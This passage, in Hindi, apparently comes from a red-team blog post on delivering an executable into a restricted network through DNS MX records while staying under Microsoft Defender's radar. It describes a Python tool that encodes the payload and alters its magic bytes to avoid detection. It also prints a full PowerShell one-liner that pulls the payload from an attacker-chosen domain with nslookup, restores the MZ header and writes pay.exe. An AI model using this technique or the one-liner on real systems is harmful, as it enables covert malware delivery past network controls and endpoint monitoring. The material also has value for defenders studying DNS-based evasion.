हम अपने सभी nslookup देखते हैं, लेकिन हम WaAppAgent.exe और WindowsAzureGuestAgent.exe जैसी प्रक्रियाओं द्वारा उत्पन्न अन्य घटनाओं को भी देखते हैं। इन्होंने बदले में ipconfig.exe और arp.exe जैसी चीजें चलाईं। इसलिए कई अलग-अलग निष्पादन योग्य T1016: सिस्टम नेटवर्क कॉन्फ़िगरेशन डिस्कवरी को ट्रिगर कर सकते हैं, जो हमारे लिए रडार के नीचे उड़ने की कोशिश करने के लिए अच्छा है।
T1027 को देखते हुए:
यहाँ समाचार कम अच्छा है। T1027.002: फ़ाइल पैकिंग के लिए एकमात्र घटना हमारा powershell.exe है जो हमारे पेलोड को डिस्क पर छोड़ रहा है। मुझे पूरी तरह से यकीन नहीं है कि यह घटना हमारी कार्रवाई के लिए क्यों ट्रिगर होती है, लेकिन मुझे विश्वास नहीं है कि इसका DNS घुसपैठ विधि से कोई लेना-देना है, बल्कि डिस्क पर एक निष्पादन योग्य लिखने से अधिक संबंध है। किसी भी मामले में, इसने कोई वास्तविक अलर्ट उत्पन्न नहीं किया, यह सिर्फ एक लॉग की गई घटना है।
कितनी लॉग की गई घटनाएँ हैं और सामान्य कंप्यूटर कार्यक्षमता को कितनी अच्छी तरह वर्गीकृत किया गया है? उत्तर हैं "बहुत सारी", और "बहुत अच्छी तरह से नहीं"। पावरशेल घटनाओं को खोजने के लिए स्क्रॉल करते हुए, मुझे यह मिला:
यह निश्चित रूप से संदिग्ध लगता है... क्या चल रहा है?
ओह। यह सिर्फ विंडोज डिफेंडर ATP है जो पावरशेल कमांड चला रहा है।
MDE द्वारा लॉग की गई घटनाओं की संख्या दिमाग चकरा देने वाली है। जब तक हम किसी वास्तविक अलर्ट के विरुद्ध नहीं जाते, मैं अपने लॉग किए गए कार्यों के सक्रिय प्रभावों के दौरान खोजे जाने के बारे में बहुत चिंतित नहीं हूं, जब तक कि हम रक्षकों को खोजने का कारण न दें।
हमारे पास एक काम करने वाला POC है, लेकिन अब उत्पाद को परिष्कृत करने का समय है। मेरे तीन मुख्य लक्ष्य थे:
मैंने पायथन स्क्रिप्ट्स को मिलाकर शुरू किया जो हमारे निष्पादन योग्य को हेक्स में बदलती थीं और फिर एक ज़ोनफाइल बनाती थीं। इसके बाद मैंने ज़ोनफाइल को पॉप्युलेट करने वाले डोमेन नामों के सभी स्थिर संदर्भों को हटा दिया; ये अब कमांड लाइन आर्ग्युमेंट्स के माध्यम से पारित किए जाते हैं। तीसरा, मैंने हमारे पेलोड की एक प्रति बनाने और फिर मैजिक बाइट्स को संशोधित करने की कार्यक्षमता जोड़ी; यह संशोधित प्रति हमारे ज़ोनफाइल के भीतर MX रिकॉर्ड्स में बदल जाती है, जिससे VIM की आवश्यकता समाप्त हो जाती है। अंत में पायथन स्क्रिप्ट सही संख्या में पुनरावृत्तियों (पेलोड की लंबाई पर निर्भर) के साथ nslookup चलाने के लिए पावरशेल वन-लाइनर और nslookup चलाने के लिए डोमेन प्रिंट करती है। इस पायथन स्क्रिप्ट को "createzonefile.py" के रूप में अपलोड किया गया है।
हमले की विश्वसनीयता बढ़ाने के लिए मैंने कुछ समय बिताया कि पायथन स्क्रिप्ट MX रिकॉर्ड कैसे बनाती है। मुख्य समस्या बिंदु अंतिम MX रिकॉर्ड था; इसमें पेलोड का शेष भाग होता है, क्योंकि हर दूसरा रिकॉर्ड 200 वर्णों से भरा होता है। इस रिकॉर्ड के लिए कितना डेटा बचा है, इस पर निर्भर करते हुए, हम एक, दो, तीन या चार ऑक्टेट आंशिक या पूरी तरह से भरे हुए हो सकते हैं। मैंने पाया कि nslookup रिकॉर्ड नहीं खींचेगा यदि बहुत अधिक अनुगामी "." हों, जैसा कि हमारी सरल पायथन स्क्रिप्ट के साथ पहले हुआ था यदि अंतिम MX रिकॉर्ड द्वारा चार से कम ऑक्टेट का उपयोग किया जा रहा था (उदा. रिकॉर्ड हो सकता है "0000000000000000000000.000000..")। यह सुनिश्चित करने के लिए नया तर्क लागू और परीक्षण किया गया कि पेलोड आकार या अंतिम MX रिकॉर्ड में डेटा की मात्रा की परवाह किए बिना, इसे ठीक से स्वरूपित किया जाएगा और अपेक्षित रूप से कार्य करेगा।
पायथन स्क्रिप्ट में पावरशेल वन-लाइनर का कार्यान्वयन विश्वसनीयता की दिशा में एक और कदम है, क्योंकि यह सुनिश्चित करता है कि आपको nslookup के सही संख्या में पुनरावृत्तियों के साथ-साथ ज़ोनफाइल में निर्दिष्ट उसी डोमेन नाम के साथ प्रदान किया जाता है।
यह अंतिम बिंदु मुख्य रूप से पावरशेल वन-लाइनर के इर्द-गिर्द घूमता है। मैं कमांड की लंबाई को जितना संभव हो उतना कम करने का प्रयास करना चाहता था यदि किसी को इसे लक्ष्य मशीन पर हाथ से टाइप करने की आवश्यकता हो। मैजिक बाइट्स को बदलने के लिए जोड़ी गई स्क्रिप्ट पर विचार करने से पहले, मैं इसे लगभग 30% तक कम करने में सक्षम था।
ये बचत कुछ स्थानों से आती है:
मुझे यकीन है कि और भी बहुत कुछ किया जा सकता है, लेकिन मैं पावरशेल में दक्ष होने से बहुत दूर हूं।
अंतिम, बेहतर पावरशेल वन-लाइनर जो MZ मैजिक बाइट्स को पुनर्स्थापित करता है और अस्थायी .txt फ़ाइल को हटाता है, वह है:```powershell $o="";for($a = 1; $a -le <NUMBER_OF_SUBDOMAINS>; $a ++){$b = nslookup -type=MX "$a.<YOUR_DOMAIN_HERE>" 2> $null;$c = @($null)*($b.count - 3);for($i = 3; $i -le $b.count - 1; $i++){$d = ($b[$i] | sls -patt '(?<==\s)((\d|\w){1,50}.?){1,4}' -a).matches.Value;$c[$d[0]/10 - 1] = $d[1].replace(".","")};$c.foreach({$o = $o + $_})};[byte[]]$e = ($o -split '(.{2})' -ne '' -replace '^', '0X');$f = ".\a.txt";$e | sc -en byte $f;[byte[]]$g = gc $f -en byte -raw;$g[0x00] = 0x4D;$g[0x01] = 0x5A;$g | sc .\pay.exe -enc byte;ri $f
# समापन विचार
अत्यधिक प्रतिबंधात्मक वातावरणों में जहां HTTP/S या अधिक पारंपरिक विधियाँ संभव नहीं होतीं, वहां पेलोड को घुसपैठ करने के लिए DNS का उपयोग करना एक आकर्षक विकल्प हो सकता है। ऐसे वातावरण में अगली बाधा संभवतः आपके पेलोड को वास्तव में निष्पादित करना होगी—एप्लिकेशन व्हाइटलिस्टिंग को बायपास करना एक ऐसा विषय है जिसमें मैं भविष्य में संभवतः कुछ समय गहराई से डूबूंगा।
उन लोगों का धन्यवाद जो अंत तक मेरे साथ रहे। इस विषय की खोज और विकास में कुछ व्यस्त दिन बीते और मुझे निश्चित रूप से कुछ चीजें सीखने को मिलीं, जैसा कि मुझे आशा है कि आपने भी सीखा होगा।